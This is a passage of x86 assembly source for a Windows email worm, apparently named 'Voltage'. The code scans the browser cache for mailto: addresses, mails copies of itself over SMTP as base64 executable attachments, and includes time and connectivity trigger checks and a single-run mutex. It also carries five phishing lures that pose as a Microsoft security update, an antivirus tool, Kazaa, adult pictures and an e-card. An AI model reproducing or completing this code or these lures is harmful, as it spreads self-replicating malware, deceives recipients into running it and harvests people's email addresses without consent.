mov esi,[ebp + MailsMemory] ;pointer to mails array
|
||
|
|
@nM: push ecx ;next mail
|
||
|
|
push 0h
|
||
|
|
push SizeOfRcpt
|
||
|
|
lea edx,[ebp + RCPT]
|
||
|
|
push edx
|
||
|
|
push dword ptr [ebp + vsocket]
|
||
|
|
call [ebp + send] ;send start of RCPT command
|
||
|
|
xor ecx,ecx
|
||
|
|
push esi
|
||
|
|
Csize: inc ecx
|
||
|
|
inc esi
|
||
|
|
cmp byte ptr [esi],0h
|
||
|
|
jne Csize ;calc mail address size
|
||
|
|
pop esi ;restore pointer to mail address
|
||
|
|
push 0h
|
||
|
|
push ecx
|
||
|
|
push esi
|
||
|
|
add esi,ecx
|
||
|
|
inc esi ;move to next email
|
||
|
|
push dword ptr [ebp + vsocket]
|
||
|
|
call [ebp + send]
|
||
|
|
push 0h
|
||
|
|
push SizeOfEndRcpt
|
||
|
|
lea eax,[ebp + EndOfRCPT]
|
||
|
|
push eax
|
||
|
|
push dword ptr [ebp + vsocket]
|
||
|
|
call [ebp + send]
|
||
|
|
call __recv
|
||
|
|
pop ecx
|
||
|
|
loop @nM
|
||
|
|
;send data command
|
||
|
|
push 0h
|
||
|
|
push SizeOfData
|
||
|
|
lea eax,[ebp + __DATA]
|
||
|
|
push eax
|
||
|
|
push dword ptr [ebp + vsocket]
|
||
|
|
call [ebp + send]
|
||
|
|
cmp eax,SOCKET_ERR
|
||
|
|
je Disconnect
|
||
|
|
;get server message
|
||
|
|
call __recv
|
||
|
|
cmp eax,SOCKET_ERR
|
||
|
|
je Disconnect
|
||
|
|
cmp eax,0h
|
||
|
|
je Disconnect
|
||
|
|
lea eax,[ebp + GetBuffer]
|
||
|
|
cmp dword ptr [eax]," 453" ;is 354 ?
|
||
|
|
jne Disconnect
|
||
|
|
;send from and subject
|
||
|
|
push 0h
|
||
|
|
cmp byte ptr [ebp + MessageNumber],32h
|
||
|
|
ja _fs
|
||
|
|
push SizeOfFromAndSubject1
|
||
|
|
lea eax,[ebp + FromAndSubject1]
|
||
|
|
push eax
|
||
|
|
jmp smimeh
|
||
|
|
_fs: cmp byte ptr [ebp + MessageNumber],64h
|
||
|
|
ja _fs2
|
||
|
|
push SizeOfFromAndSubject2
|
||
|
|
lea eax,[ebp + FromAndSubject2]
|
||
|
|
push eax
|
||
|
|
jmp smimeh
|
||
|
|
_fs2: cmp byte ptr [ebp + MessageNumber],96h
|
||
|
|
ja _fs3
|
||
|
|
push SizeOfFromAndSubject3
|
||
|
|
lea eax,[ebp + FromAndSubject3]
|
||
|
|
push eax
|
||
|
|
jmp smimeh
|
||
|
|
_fs3: cmp byte ptr [ebp + MessageNumber],0c8h
|
||
|
|
ja _fs4
|
||
|
|
push SizeOfFromAndSubject4
|
||
|
|
lea eax,[ebp + FromAndSubject4]
|
||
|
|
push eax
|
||
|
|
jmp smimeh
|
||
|
|
_fs4: push SizeOfFromAndSubject5
|
||
|
|
lea eax,[ebp + FromAndSubject5]
|
||
|
|
push eax
|
||
|
|
smimeh: push dword ptr [ebp + vsocket]
|
||
|
|
call [ebp + send]
|
||
|
|
;send the mime header
|
||
|
|
push 0h
|
||
|
|
push SizeOfMessageMimeHeader
|
||
|
|
lea eax,[ebp + MessageMimeHeader]
|
||
|
|
push eax
|
||
|
|
push dword ptr [ebp + vsocket]
|
||
|
|
call [ebp + send]
|
||
|
|
cmp eax,SOCKET_ERR
|
||
|
|
je Disconnect
|
||
|
|
;send message and attachment name
|
||
|
|
push 0h
|
||
|
|
cmp byte ptr [ebp + MessageNumber],32h
|
||
|
|
ja _ma
|
||
|
|
push SizeOfMessageAndFileName1
|
||
|
|
lea eax,[ebp + MessageAndFileName1]
|
||
|
|
push eax
|
||
|
|
jmp sattch
|
||
|
|
_ma: cmp byte ptr [ebp + MessageNumber],64h
|
||
|
|
ja _ma2
|
||
|
|
push SizeOfMessageAndFileName2
|
||
|
|
lea eax,[ebp + MessageAndFileName2]
|
||
|
|
push eax
|
||
|
|
jmp sattch
|
||
|
|
_ma2: cmp byte ptr [ebp + MessageNumber],96h
|
||
|
|
ja _ma3
|
||
|
|
push SizeOfMessageAndFileName3
|
||
|
|
lea eax,[ebp + MessageAndFileName3]
|
||
|
|
push eax
|
||
|
|
jmp sattch
|
||
|
|
_ma3: cmp byte ptr [ebp + MessageNumber],0c8h
|
||
|
|
ja _ma4
|
||
|
|
push SizeOfMessageAndFileName4
|
||
|
|
lea eax,[ebp + MessageAndFileName4]
|
||
|
|
push eax
|
||
|
|
jmp sattch
|
||
|
|
_ma4: push SizeOfMessageAndFileName5
|
||
|
|
lea eax,[ebp + MessageAndFileName5]
|
||
|
|
push eax
|
||
|
|
sattch: push dword ptr [ebp + vsocket]
|
||
|
|
call [ebp + send]
|
||
|
|
;send the attachment
|
||
|
|
mov ecx,[ebp + sizeofbase64out]
|
||
|
|
mov eax,[ebp + base64outputmem]
|
||
|
|
push 0h
|
||
|
|
push ecx
|
||
|
|
push eax
|
||
|
|
push dword ptr [ebp + vsocket]
|
||
|
|
call [ebp + send]
|
||
|
|
;send end of mail
|
||
|
|
push 0h
|
||
|
|
push SizeOfEndOfMail
|
||
|
|
lea eax,[ebp + EndOfMail]
|
||
|
|
push eax
|
||
|
|
push dword ptr [ebp + vsocket]
|
||
|
|
call [ebp + send]
|
||
|
|
;get server message
|
||
|
|
call __recv
|
||
|
|
;send quit command
|
||
|
|
QuitM: push 0h
|
||
|
|
push SizeOfQuit
|
||
|
|
lea eax,[ebp + QUIT]
|
||
|
|
push eax
|
||
|
|
push dword ptr [ebp + vsocket]
|
||
|
|
call [ebp + send]
|
||
|
|
Disconnect:
|
||
|
|
push dword ptr [ebp + vsocket]
|
||
|
|
call [ebp + closesocket]
|
||
|
|
call [ebp + WSACleanup]
|
||
|
|
FreeBase64Mem:
|
||
|
|
push [ebp + base64outputmem]
|
||
|
|
call [ebp + GlobalFree]
|
||
|
|
FreeWSLibraryAndExit:
|
||
|
|
push dword ptr [ebp + hWinsock]
|
||
|
|
call [ebp + FreeLibrary]
|
||
|
|
FreeWabMemAndExit:
|
||
|
|
push dword ptr [ebp + hMailAddresses]
|
||
|
|
call [ebp + GlobalFree]
|
||
|
|
push dword ptr [ebp + MailsMemory]
|
||
|
|
call [ebp + GlobalFree]
|
||
|
|
ExitMM: pop dword ptr fs:[0]
|
||
|
|
add esp,4h
|
||
|
|
popad
|
||
|
|
ret
|
||
|
|
MM_SEH_Handler:
|
||
|
|
mov esp,[esp + 8h]
|
||
|
|
pop dword ptr fs:[0]
|
||
|
|
add esp,4h
|
||
|
|
popad
|
||
|
|
ret
|
||
|
|
|
||
|
|
|
||
|
|
MessageNumber db 0
|
||
|
|
|
||
|
|
|
||
|
|
AllowOnlyOneRun:
|
||
|
|
;use mutex to check if we already running
|
||
|
|
lea eax,[ebp + CopyRight]
|
||
|
|
push eax
|
||
|
|
push 0h
|
||
|
|
push MUTEX_ALL_ACCESS
|
||
|
|
call [ebp + OpenMutex]
|
||
|
|
cmp eax,0h
|
||
|
|
jne AlreadyRun
|
||
|
|
lea eax,[ebp + CopyRight]
|
||
|
|
push eax
|
||
|
|
xor eax,eax
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
call [ebp + CreateMutex]
|
||
|
|
stc
|
||
|
|
ret
|
||
|
|
AlreadyRun:
|
||
|
|
clc
|
||
|
|
ret
|
||
|
|
|
||
|
|
MUTEX_ALL_ACCESS equ 001F0001h
|
||
|
|
|
||
|
|
|
||
|
|
__recv:
|
||
|
|
push 0h
|
||
|
|
push 0ffh
|
||
|
|
lea eax,[ebp + GetBuffer]
|
||
|
|
push eax
|
||
|
|
push dword ptr [ebp + vsocket]
|
||
|
|
call [ebp + recv]
|
||
|
|
ret
|
||
|
|
|
||
|
|
|
||
|
|
;scan all .htm,asp,xml temporary files for email addresses
|
||
|
|
SearchEmailsInHTMFiles:
|
||
|
|
IF DEBUG
|
||
|
|
call SetDebugDir
|
||
|
|
db "C:\w32_Voltage_V2\TempInetFiles",0
|
||
|
|
SetDebugDir:
|
||
|
|
call [ebp + SetCurrentDirectory]
|
||
|
|
jmp ____1_
|
||
|
|
ENDIF
|
||
|
|
lea eax,[ebp + shell_dll]
|
||
|
|
push eax
|
||
|
|
call [ebp + LoadLibrary]
|
||
|
|
cmp eax,0h
|
||
|
|
je ExitTMS
|
||
|
|
mov [ebp + shell_h],eax
|
||
|
|
lea ebx,[ebp + _SHGetSpecialFolderPath]
|
||
|
|
push ebx
|
||
|
|
push eax
|
||
|
|
call [ebp + __GetProcAddress]
|
||
|
|
cmp eax,0h
|
||
|
|
je UnloadSh
|
||
|
|
xor ecx,ecx
|
||
|
|
push ecx
|
||
|
|
push CSIDL_INTERNET_CACHE ;get temporary internet files directory
|
||
|
|
lea ebx,[ebp + TempDir]
|
||
|
|
push ebx
|
||
|
|
push ecx
|
||
|
|
call eax
|
||
|
|
cmp eax,1h ;success ?
|
||
|
|
jne UnloadSh
|
||
|
|
lea eax,[ebp + TempDir]
|
||
|
|
push eax
|
||
|
|
call [ebp + SetCurrentDirectory]
|
||
|
|
____1_: push 0c800h ;50k
|
||
|
|
push GPTR
|
||
|
|
call [ebp + GlobalAlloc] ;allocate 50k of memory which used to store mails
|
||
|
|
cmp eax,0h
|
||
|
|
je UnloadSh
|
||
|
|
mov [ebp + MailsMemory],eax
|
||
|
|
mov [ebp + LastMailPointer],0
|
||
|
|
mov [ebp + NumberOfEmails],0
|
||
|
|
mov [ebp + NewMail],0h
|
||
|
|
call FindFiles
|
||
|
|
UnloadSh: ;unload shell library
|
||
|
|
push dword ptr [ebp + shell_h]
|
||
|
|
call [ebp + FreeLibrary]
|
||
|
|
ExitTMS:ret ;exit temp mails search
|
||
|
|
|
||
|
|
|
||
|
|
shell_dll db "Shell32.dll",0
|
||
|
|
shell_h dd 0
|
||
|
|
_SHGetSpecialFolderPath db "SHGetSpecialFolderPathA",0
|
||
|
|
|
||
|
|
|
||
|
|
CSIDL_INTERNET_CACHE equ 0020h
|
||
|
|
|
||
|
|
MailsMemory dd 0
|
||
|
|
NumberOfEmails dw 0
|
||
|
|
TempDir db 0ffh dup(0)
|
||
|
|
|
||
|
|
|
||
|
|
FindFiles:
|
||
|
|
;recursive scan directorys for files
|
||
|
|
lea eax,[ebp + WIN32_FIND_DATA]
|
||
|
|
push eax
|
||
|
|
lea eax,[ebp + search_mask]
|
||
|
|
push eax
|
||
|
|
call [ebp + FindFirstFile]
|
||
|
|
cmp eax,INVALID_HANDLE_VALUE
|
||
|
|
je ExitFind
|
||
|
|
mov dword ptr [ebp + hfind],eax ;save search handle
|
||
|
|
@find: mov eax,[ebp + dwFileAttributes]
|
||
|
|
and eax,FILE_ATTRIBUTE_DIRECTORY
|
||
|
|
cmp eax,FILE_ATTRIBUTE_DIRECTORY ;is directory ?
|
||
|
|
jne Is_File
|
||
|
|
cmp byte ptr [ebp + cFileName],"." ;most be not .. or .
|
||
|
|
je FindNext
|
||
|
|
push dword ptr [ebp + hfind] ;save search handle
|
||
|
|
lea eax,[ebp + cFileName]
|
||
|
|
push eax
|
||
|
|
call [ebp + SetCurrentDirectory]
|
||
|
|
cmp eax,1h
|
||
|
|
je _SD
|
||
|
|
pop eax ;restore stack
|
||
|
|
jmp FindNext
|
||
|
|
_SD: call FindFiles
|
||
|
|
pop dword ptr [ebp + hfind] ;restore search handle
|
||
|
|
lea eax,[ebp + dotdot]
|
||
|
|
push eax
|
||
|
|
call [ebp + SetCurrentDirectory]
|
||
|
|
jmp FindNext
|
||
|
|
Is_File:
|
||
|
|
lea eax,[ebp + cFileName] ;do action
|
||
|
|
call ScanFileForMails
|
||
|
|
FindNext:
|
||
|
|
lea eax,[ebp + WIN32_FIND_DATA]
|
||
|
|
push eax
|
||
|
|
push dword ptr [ebp + hfind]
|
||
|
|
call [ebp + FindNextFile]
|
||
|
|
cmp eax,0h
|
||
|
|
jne @find ;move to next file
|
||
|
|
ExitFind:
|
||
|
|
push dword ptr [ebp + hfind]
|
||
|
|
call [ebp + FindClose] ;close the file handle
|
||
|
|
ret ;exit search
|
||
|
|
|
||
|
|
dotdot db "..",0
|
||
|
|
FILE_ATTRIBUTE_DIRECTORY equ 00000010h
|
||
|
|
|
||
|
|
|
||
|
|
;scan htm,asp,xml files for emails
|
||
|
|
;input:
|
||
|
|
; eax - file name
|
||
|
|
;output:
|
||
|
|
; none
|
||
|
|
ScanFileForMails:
|
||
|
|
pushad
|
||
|
|
lea ecx,[ebp + MailSearchErr]
|
||
|
|
push ecx
|
||
|
|
xor ecx,ecx
|
||
|
|
push dword ptr fs:[ecx]
|
||
|
|
mov fs:[ecx],esp
|
||
|
|
@gSize: cmp byte ptr [eax + ecx],0h ;get size of file name
|
||
|
|
je ChkExt
|
||
|
|
inc ecx
|
||
|
|
jmp @gSize
|
||
|
|
ChkExt: sub ecx,4h
|
||
|
|
cmp dword ptr [eax + ecx],"mth." ;is .htm ?
|
||
|
|
je _1
|
||
|
|
cmp dword ptr [eax + ecx],"psa." ;is .asp ?
|
||
|
|
je _1
|
||
|
|
cmp dword ptr [eax + ecx],"lmx." ;is .xml ?
|
||
|
|
jne ExitMS
|
||
|
|
_1: push 0h
|
||
|
|
push FILE_ATTRIBUTE_NORMAL
|
||
|
|
push OPEN_EXISTING
|
||
|
|
push 0h
|
||
|
|
push FILE_SHARE_READ
|
||
|
|
push GENERIC_READ
|
||
|
|
push eax ;file name
|
||
|
|
call [ebp + CreateFile]
|
||
|
|
cmp eax,INVALID_HANDLE_VALUE
|
||
|
|
je ExitMS
|
||
|
|
mov [ebp + hfile],eax
|
||
|
|
xor eax,eax
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
push PAGE_READONLY
|
||
|
|
push eax
|
||
|
|
push [ebp + hfile]
|
||
|
|
call [ebp + CreateFileMapping]
|
||
|
|
cmp eax,0h
|
||
|
|
je _CloseF
|
||
|
|
mov [ebp + hmap],eax
|
||
|
|
push 0h
|
||
|
|
push [ebp + hfile]
|
||
|
|
call [ebp + GetFileSize]
|
||
|
|
cmp eax,0ffffffffh
|
||
|
|
je _CloseM
|
||
|
|
cmp eax,14000h
|
||
|
|
ja _CloseM ;dont scan files which are > 80k
|
||
|
|
cmp eax,200h
|
||
|
|
jb _CloseM ;dont scan file which are < 512 bytes
|
||
|
|
mov [ebp + _FSize],eax
|
||
|
|
xor eax,eax
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
push FILE_MAP_READ
|
||
|
|
push [ebp + hmap]
|
||
|
|
call [ebp + MapViewOfFile] ;map file into memory
|
||
|
|
cmp eax,0h
|
||
|
|
je _CloseM
|
||
|
|
mov [ebp + mapbase],eax ;file in the memory
|
||
|
|
mov ecx,[ebp + _FSize] ;size of file
|
||
|
|
sub ecx,0ah
|
||
|
|
cmp ecx,0h
|
||
|
|
jbe Unmap
|
||
|
|
mov edi,[ebp + MailsMemory] ;where to store mails
|
||
|
|
@lm: cmp byte ptr [edi],0h
|
||
|
|
je _1_
|
||
|
|
inc edi
|
||
|
|
jmp @lm
|
||
|
|
_1_: mov [ebp + LastMailPointer],0h
|
||
|
|
@checkM:cmp dword ptr [eax],"liam"
|
||
|
|
jne NotMail
|
||
|
|
cmp dword ptr [eax + 3h],":otl"
|
||
|
|
jne NotMail
|
||
|
|
add eax,7h ;skip the mailto:
|
||
|
|
cmp byte ptr [ebp + NewMail],0h
|
||
|
|
je checkC
|
||
|
|
@lm2: cmp byte ptr [edi],0h ;move to last mail
|
||
|
|
jne _2_
|
||
|
|
cmp byte ptr [edi-1],0h ;and leave 0 between the
|
||
|
|
je checkC ;new mail to the last mail
|
||
|
|
_2_: inc edi
|
||
|
|
jmp @lm2
|
||
|
|
checkC: cmp byte ptr [eax],'?' ;check char
|
||
|
|
je _Stop
|
||
|
|
cmp byte ptr [eax],'"'
|
||
|
|
je _Stop
|
||
|
|
cmp byte ptr [eax],'@'
|
||
|
|
je @cpyM
|
||
|
|
cmp byte ptr [eax],'.'
|
||
|
|
je @cpyM
|
||
|
|
cmp byte ptr [eax],7ah
|
||
|
|
ja BadMail
|
||
|
|
cmp byte ptr [eax],30h
|
||
|
|
jnb @cpyM
|
||
|
|
jmp BadMail
|
||
|
|
@cpyM: mov bl,byte ptr [eax]
|
||
|
|
mov byte ptr [edi],bl
|
||
|
|
inc eax
|
||
|
|
inc edi
|
||
|
|
inc dword ptr [ebp + LastMailPointer]
|
||
|
|
jmp checkC
|
||
|
|
_Stop: inc [ebp + NumberOfEmails]
|
||
|
|
inc edi
|
||
|
|
mov byte ptr [ebp + NewMail],1h
|
||
|
|
inc dword ptr [ebp + LastMailPointer]
|
||
|
|
NotMail:inc eax
|
||
|
|
loop @checkM
|
||
|
|
Unmap: push [ebp + mapbase]
|
||
|
|
call [ebp + UnMapViewOfFile]
|
||
|
|
_CloseM:push [ebp + hmap]
|
||
|
|
call [ebp + CloseHandle]
|
||
|
|
_CloseF:push [ebp + hfile]
|
||
|
|
call [ebp + CloseHandle]
|
||
|
|
ExitMS: pop dword ptr fs:[0]
|
||
|
|
add esp,4h
|
||
|
|
popad
|
||
|
|
ret ;exit mail search
|
||
|
|
|
||
|
|
|
||
|
|
MailSearchErr:
|
||
|
|
mov esp,[esp + 8h] ;restore stack
|
||
|
|
pop dword ptr fs:[0]
|
||
|
|
add esp,4h
|
||
|
|
popad
|
||
|
|
push [ebp + mapbase]
|
||
|
|
call [ebp + UnMapViewOfFile]
|
||
|
|
push [ebp + hmap]
|
||
|
|
call [ebp + CloseHandle]
|
||
|
|
push [ebp + hfile]
|
||
|
|
call [ebp + CloseHandle]
|
||
|
|
ret
|
||
|
|
|
||
|
|
BadMail:
|
||
|
|
sub edi,[ebp + LastMailPointer] ;restore mail pointer,if we
|
||
|
|
jmp NotMail ;copy invalid mail
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
_FSize dd 0
|
||
|
|
LastMailPointer dd 0
|
||
|
|
NewMail db 0
|
||
|
|
|
||
|
|
|
||
|
|
SYSTEMTIME:
|
||
|
|
wYear dw 0
|
||
|
|
wMonth dw 0
|
||
|
|
wDayOfWeek dw 0
|
||
|
|
wDay dw 0
|
||
|
|
wHour dw 0
|
||
|
|
wMinute dw 0
|
||
|
|
wSecond dw 0
|
||
|
|
wMilliseconds dw 0
|
||
|
|
|
||
|
|
|
||
|
|
CheckConditions:
|
||
|
|
;check time & internet connection
|
||
|
|
lea eax,[ebp + SYSTEMTIME]
|
||
|
|
push eax
|
||
|
|
call [ebp + GetLocalTime] ;get system time
|
||
|
|
cmp word ptr [ebp + wMinute],2dh ;minute most be > 45
|
||
|
|
jb BadConditions
|
||
|
|
cmp word ptr [ebp + wDay],19h ;day most be < 25
|
||
|
|
ja BadConditions
|
||
|
|
cmp word ptr [ebp + wSecond],1eh ;second most be > 30
|
||
|
|
jb BadConditions
|
||
|
|
lea eax,[ebp + WinInetDll]
|
||
|
|
push eax
|
||
|
|
call [ebp + LoadLibrary]
|
||
|
|
cmp eax,0h
|
||
|
|
je BadConditions
|
||
|
|
xchg edx,eax
|
||
|
|
lea eax,[ebp + _InternetCheckConnection]
|
||
|
|
push eax
|
||
|
|
push edx
|
||
|
|
call [ebp + __GetProcAddress]
|
||
|
|
cmp eax,0h
|
||
|
|
je BadConditions
|
||
|
|
push 0h
|
||
|
|
push FLAG_ICC_FORCE_CONNECTION
|
||
|
|
lea ebx,[ebp + SiteToCheck]
|
||
|
|
push ebx
|
||
|
|
call eax
|
||
|
|
cmp eax,0h ;there is internet connection ?
|
||
|
|
je BadConditions
|
||
|
|
push edx
|
||
|
|
call [ebp + FreeLibrary]
|
||
|
|
stc
|
||
|
|
ret
|
||
|
|
BadConditions:
|
||
|
|
clc
|
||
|
|
ret
|
||
|
|
|
||
|
|
|
||
|
|
WinInetDll db "Wininet.dll",0
|
||
|
|
_InternetCheckConnection db "InternetCheckConnectionA",0
|
||
|
|
FLAG_ICC_FORCE_CONNECTION equ 00000001h
|
||
|
|
SiteToCheck db "http://www.google.com/",0
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
FromAndSubject1:
|
||
|
|
|
||
|
|
;from and subject
|
||
|
|
db "From:Microsoft Security Alert <SecurityUpdate@Microsoft.com>",0dh,0ah
|
||
|
|
db "Subject:Microsoft Security Update",0dh,0ah
|
||
|
|
|
||
|
|
SizeOfFromAndSubject1 equ ($-FromAndSubject1)
|
||
|
|
|
||
|
|
FromAndSubject2:
|
||
|
|
|
||
|
|
;from and subject
|
||
|
|
db "From:WorldSex.com <Pictures@WorldSex.com>",0dh,0ah
|
||
|
|
db "Subject:Your Dayly Pictures",0dh,0ah
|
||
|
|
|
||
|
|
SizeOfFromAndSubject2 equ ($-FromAndSubject2)
|
||
|
|
|
||
|
|
FromAndSubject3:
|
||
|
|
|
||
|
|
;from and subject
|
||
|
|
db "From:Virus Bulletin <Support@Virusbtn.com>",0dh,0ah
|
||
|
|
db "Subject:A New Tool From Virus Bulletin",0dh,0ah
|
||
|
|
|
||
|
|
SizeOfFromAndSubject3 equ ($-FromAndSubject3)
|
||
|
|
|
||
|
|
FromAndSubject4:
|
||
|
|
|
||
|
|
;from and subject
|
||
|
|
db "From:Kazaa.com <Support@Kazaa.com>",0dh,0ah
|
||
|
|
db "Subject:Get YourSelf Kazaa Media Desktop !!!",0dh,0ah
|
||
|
|
|
||
|
|
SizeOfFromAndSubject4 equ ($-FromAndSubject4)
|
||
|
|
|
||
|
|
FromAndSubject5:
|
||
|
|
|
||
|
|
;from and subject
|
||
|
|
db "From:Greeting-Card.com <FreeGreeting@Greeting-Cards.com>",0dh,0ah
|
||
|
|
db "Subject:You've got an e-card at greeting-cards.com",0dh,0ah
|
||
|
|
|
||
|
|
SizeOfFromAndSubject5 equ ($-FromAndSubject5)
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
MessageMimeHeader:
|
||
|
|
|
||
|
|
db "MIME-Version: 1.0",0dh,0ah
|
||
|
|
db "Content-Type: multipart/mixed;",0dh,0ah
|
||
|
|
db ' boundary="bound1"',0dh,0ah
|
||
|
|
db "X-Priority: 3",0dh,0ah
|
||
|
|
db "X-MSMail-Priority: Normal",0dh,0ah
|
||
|
|
db "X-Mailer: Microsoft Outlook Express 6.00.2800.1106",0dh,0ah
|
||
|
|
db "X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106",0dh,0ah
|
||
|
|
db 0dh,0ah,"This is a multi-part message in MIME format.",0dh,0ah
|
||
|
|
db "--bound1",0dh,0ah
|
||
|
|
db "Content-Type: text/plain;",0dh,0ah
|
||
|
|
db ' charset="windows-1255"',0dh,0ah
|
||
|
|
db "Content-Transfer-Encoding: 7bit",0dh,0ah,0dh,0ah
|
||
|
|
|
||
|
|
SizeOfMessageMimeHeader equ ($-MessageMimeHeader)
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
;message and filename
|
||
|
|
MessageAndFileName1:
|
||
|
|
|
||
|
|
db "Dear Microsoft Customer",0dh,0ah,0dh,0ah
|
||
|
|
db "A new vulnerability has been discovered in Internet Explorer",0dh,0ah
|
||
|
|
db "we recommending you to update internet explorer as soon as",0dh,0ah
|
||
|
|
db "possible, this vulnerablility is critical and may allow",0dh,0ah
|
||
|
|
db "execution of malicious code on your system while you use internet",0dh,0ah
|
||
|
|
db "explorer.",0dh,0ah,0dh,0ah
|
||
|
|
db "vulnerable versions:",0dh,0ah
|
||
|
|
db "Internet Explorer 5.0",0dh,0ah
|
||
|
|
db "Internet Explorer 6.0",0dh,0ah
|
||
|
|
db "if you using one of this versions please install attached update.",0dh,0ah,0dh,0ah
|
||
|
|
db "Thank You.",0dh,0ah,"The Microsoft Security Team.",0dh,0ah,0dh,0ah
|
||
|
|
db "If you do not wish to receive future Security Update E-mail from",0dh,0ah
|
||
|
|
db "Microsoft, or believe you were subscribed in error, please send",0dh,0ah
|
||
|
|
db "a blank E-mail to SecurityUpdate@microsoft.com",0dh,0ah
|
||
|
|
db "--bound1",0dh,0ah
|
||
|
|
db "Content-Type: application/octet-stream;",0dh,0ah
|
||
|
|
db ' name= "Internet Explorer Update.exe"',0dh,0ah
|
||
|
|
db "Content-Transfer-Encoding: base64",0dh,0ah
|
||
|
|
db "Content-Disposition: attachment;",0dh,0ah
|
||
|
|
db ' filename= "Internet Explorer Update.exe"',0dh,0ah,0dh,0ah
|
||
|
|
|
||
|
|
SizeOfMessageAndFileName1 equ ($-MessageAndFileName1)
|
||
|
|
|
||
|
|
|
||
|
|
MessageAndFileName2:
|
||
|
|
|
||
|
|
db "150 XXX Pictures For You !!!",0dh,0ah,0dh,0ah
|
||
|
|
db "here are your dayly xxx pictures.",0dh,0ah
|
||
|
|
db "Have Fun & Enjoy...",0dh,0ah,0dh,0ah
|
||
|
|
db "we like to inform you that your account at",0dh,0ah ;try to make this letter formal :)
|
||
|
|
db "our web site will be expired at the end of",0dh,0ah
|
||
|
|
db "this month,please renew your account",0dh,0ah
|
||
|
|
db "renew of account for old members is only 25$",0dh,0ah
|
||
|
|
db "per half year.",0dh,0ah,0dh,0ah
|
||
|
|
db "Please Visit Our Web Site:",0dh,0ah
|
||
|
|
db "http://www.WorldSex.com/",0dh,0ah
|
||
|
|
db "--bound1",0dh,0ah
|
||
|
|
db "Content-Type: application/octet-stream;",0dh,0ah
|
||
|
|
db ' name= "150_XXX_Pictures.exe"',0dh,0ah
|
||
|
|
db "Content-Transfer-Encoding: base64",0dh,0ah
|
||
|
|
db "Content-Disposition: attachment;",0dh,0ah
|
||
|
|
db ' filename= "150_XXX_Pictures.exe"',0dh,0ah,0dh,0ah
|
||
|
|
|
||
|
|
SizeOfMessageAndFileName2 equ ($-MessageAndFileName2)
|
||
|
|
|
||
|
|
|
||
|
|
MessageAndFileName3:
|
||
|
|
|
||
|
|
db "Dear Symantec/F-Secure/Mcafee/Trend Micro User",0dh,0ah,0dh,0ah
|
||
|
|
db "We Have Developed A New Tool That Can Block New",0dh,0ah
|
||
|
|
db "Internet Worms From Attacking Your Computer,We",0dh,0ah
|
||
|
|
db "Recommending To Install This Tool Before A New",0dh,0ah
|
||
|
|
db "Internet Worm Will Start To Spread",0dh,0ah,0dh,0ah
|
||
|
|
db "How To Use The Tool:",0dh,0ah
|
||
|
|
db "Just Run The Attached File,After You Have Run It",0dh,0ah
|
||
|
|
db "Follow The Instructions.",0dh,0ah,0dh,0ah
|
||
|
|
db "Thank You.",0dh,0ah,"The Virus Bulletin Security Team.",0dh,0ah
|
||
|
|
db "For More Information Please Visit Our Web Site:",0dh,0ah
|
||
|
|
db " http://www.virusbtn.com/",0dh,0ah,0dh,0ah
|
||
|
|
db "If you do not wish to receive future antivirus tools from",0dh,0ah
|
||
|
|
db "Virus Bulletin, or believe you were subscribed in error, ",0dh,0ah
|
||
|
|
db "please send,a blank E-mail to Subscribe@Virusbtn.com",0dh,0ah
|
||
|
|
db "--bound1",0dh,0ah
|
||
|
|
db "Content-Type: application/octet-stream;",0dh,0ah
|
||
|
|
db ' name= "Antivirus Update.exe"',0dh,0ah
|
||
|
|
db "Content-Transfer-Encoding: base64",0dh,0ah
|
||
|
|
db "Content-Disposition: attachment;",0dh,0ah
|
||
|
|
db ' filename= "Antivirus Update.exe"',0dh,0ah,0dh,0ah
|
||
|
|
|
||
|
|
SizeOfMessageAndFileName3 equ ($-MessageAndFileName3)
|
||
|
|
|
||
|
|
|
||
|
|
MessageAndFileName4:
|
||
|
|
db "Dear User.",0dh,0ah,0dh,0ah
|
||
|
|
db "Sharman Networks Wants To offer You The New",0dh,0ah
|
||
|
|
db "Version Of Kazaa !!!",0dh,0ah
|
||
|
|
db "Please Read Product Description Below:",0dh,0ah,0dh,0ah
|
||
|
|
db "Kazaa Media Desktop is the world's No. 1",0dh,0ah
|
||
|
|
db "free, peer-to-peer, file-sharing software",0dh,0ah
|
||
|
|
db "application. Features include improved",0dh,0ah
|
||
|
|
db "privacy protection; the ability to search",0dh,0ah
|
||
|
|
db "for and download music, playlists, software,",0dh,0ah
|
||
|
|
db "video files, documents, and images; the",0dh,0ah
|
||
|
|
db "ability to set up and manage music and video",0dh,0ah
|
||
|
|
db "playlists; and the ability to perform",0dh,0ah
|
||
|
|
db "multiple simultaneous searches, including",0dh,0ah
|
||
|
|
db "up to five Search Mores, which deliver up",0dh,0ah
|
||
|
|
db "to 1,000 results per search term.",0dh,0ah,0dh,0ah
|
||
|
|
db "We Have Included A Free Version Of Kazaa In",0dh,0ah
|
||
|
|
db "This Mail,Try It !!!",0dh,0ah,0dh,0ah
|
||
|
|
db "Thank You.",0dh,0ah,"Sharman Networks.",0dh,0ah,0dh,0ah
|
||
|
|
db "If you do not wish to receive future E-mail's from",0dh,0ah
|
||
|
|
db "Sharman Networks, or believe you were subscribed in",0dh,0ah
|
||
|
|
db "error, please send a blank E-mail to Remove@kazaa.com",0dh,0ah
|
||
|
|
db "--bound1",0dh,0ah
|
||
|
|
db "Content-Type: application/octet-stream;",0dh,0ah
|
||
|
|
db ' name= "Kazaa Media Desktop.exe"',0dh,0ah
|
||
|
|
db "Content-Transfer-Encoding: base64",0dh,0ah
|
||
|
|
db "Content-Disposition: attachment;",0dh,0ah
|
||
|
|
db ' filename= "Kazaa Media Desktop.exe"',0dh,0ah,0dh,0ah
|
||
|
|
|
||
|
|
SizeOfMessageAndFileName4 equ ($-MessageAndFileName4)
|
||
|
|
|
||
|
|
|
||
|
|
MessageAndFileName5:
|
||
|
|
|
||
|
|
db "Greeting-Cards.com have sent you a Greeting Card",0dh,0ah,0dh,0ah
|
||
|
|
db "One Of Your Friends Wish You Happy Year",0dh,0ah
|
||
|
|
